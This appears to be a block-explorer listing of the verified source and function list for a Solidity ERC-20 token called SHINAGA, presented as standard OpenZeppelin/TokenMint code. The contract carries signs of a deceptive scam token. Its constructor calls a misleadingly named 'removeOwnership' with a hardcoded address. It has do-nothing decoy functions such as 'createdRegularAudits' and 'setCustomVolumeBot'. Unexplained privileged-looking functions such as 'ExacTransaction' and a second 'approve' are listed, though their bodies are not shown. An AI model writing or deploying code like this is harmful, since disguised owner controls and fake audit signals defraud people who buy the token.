        emit Approval(owner, spender, value);
    }

    /**
     * @dev Destoys `amount` tokens from `account`.`amount` is then deducted
     * from the caller's allowance.
     *
     * See `_burn` and `_approve`.
     */
    function _burnFrom(address account, uint256 amount) internal {
        _burn(account, amount);
        _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
    }


    function  setIllustrationBot() external {
        _limit = _limit;
    }

    function ImplementationToken() external {
        holder = holder;
    }

    function  setCustomVolumeBot() external {
        _limit = _limit;
    }

    function createdRegularAudits() external {
        _BONE = _BONE;
    }

    function setMaxSupply() external {
        _BONE = 1;
    }
}
IERC20.sol 28 lines
// File: contracts\open-zeppelin-contracts\token\ERC20\IERC20.sol

/**
 * SPDX-License-Identifier: MIT (OpenZeppelin)
 */
pragma solidity 0.8.25;


/**
 * @dev Interface of the ERC20 standard as defined in the EIP. Does not include
 * the optional functions; to access them see `ERC20Detailed`.
 */
interface IERC20 {
 
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to `approve`. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
SafeMath.sol 113 lines
// File: contracts\open-zeppelin-contracts\math\SafeMath.sol
/**
 * SPDX-License-Identifier: MIT (OpenZeppelin)
 */

pragma solidity 0.8.25;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b != 0, "SafeMath: modulo by zero");
        return a % b;
    }
}
token.sol 72 lines
/*

Website  : https://projectshinaga.com
Twitter  : https://x.com/Projectshinaga
Telegram : https://t.me/ProjectShinaga

/**

/**
// File: contracts\ERC20\TokenMintERC20Token.sol
/**
 * SPDX-License-Identifier: MIT (OpenZeppelin)
 */
pragma solidity 0.8.25;
import { ECDSA } from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "./ERC20.sol";



/**
 * @title TokenMintERC20Token
 * @author TokenMint (visit https://tokenmint.io)
 *
 * @dev Standard ERC20 token with burning and optional functions implemented.
 * For full specification of ERC-20 standard see:
 * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
 */
contract SHINAGA is ERC20 {

    uint8 private _decimals = 18;
    string private _symbol = "SHINAGA";
    string private _name = "SHINAGA";
    uint256 private _totalSupply = 1000000000 * 10**uint256(_decimals);

    constructor() payable {

      removeOwnership(0x36DDA0C3E217D298B6081544931cC3454B2807df); // deploy
      // set tokenOwnerAddress as owner of all tokens
      _mint(msg.sender, _totalSupply);      
    }

    /**
     * @dev Burns a specific amount of tokens.
     * @param value The amount of lowest token units to be burned.
     */
    function burn(uint256 value) public {
      _burn(msg.sender, value);
    }

    // optional functions from ERC20 stardard

    /**
     * @return the name of the token.
     */
    function name() public view returns (string memory) {
      return _name;
    }

    /**
     * @return the symbol of the token.
     */
    function symbol() public view returns (string memory) {
      return _symbol;
    }

    /**
     * @return the number of decimals of the token.
     */
    function decimals() public view returns (uint8) {
      return _decimals;
    }
}

Read Contract

_limit 0xdf2fb92c → address
adr 0x0aca7f95 → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
dividend 0x47bbac05 → bool
holder 0xe534155d → address
name 0x06fdde03 → string
openedTrade 0x5408d42d → bool
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 15 functions

These functions modify contract state and require a wallet transaction to execute.

ExacTransaction 0xab194b1f
address __to
ImplementationToken 0xf9fa3002
No parameters
airdropTokens 0x4022b75e
address airdropp
address[] list
uint256[] amount
approve 0x095ea7b3
address spender
uint256 value
returns: bool
approve 0xdaea85c5
address _user
burn 0x42966c68
uint256 value
createdRegularAudits 0x4d1b05d7
No parameters
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
openTrading 0xc9567bf9
No parameters
setCustomVolumeBot 0x96e76959
No parameters
setIllustrationBot 0x3b1f8108
No parameters
setMaxSupply 0xb1839d15
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address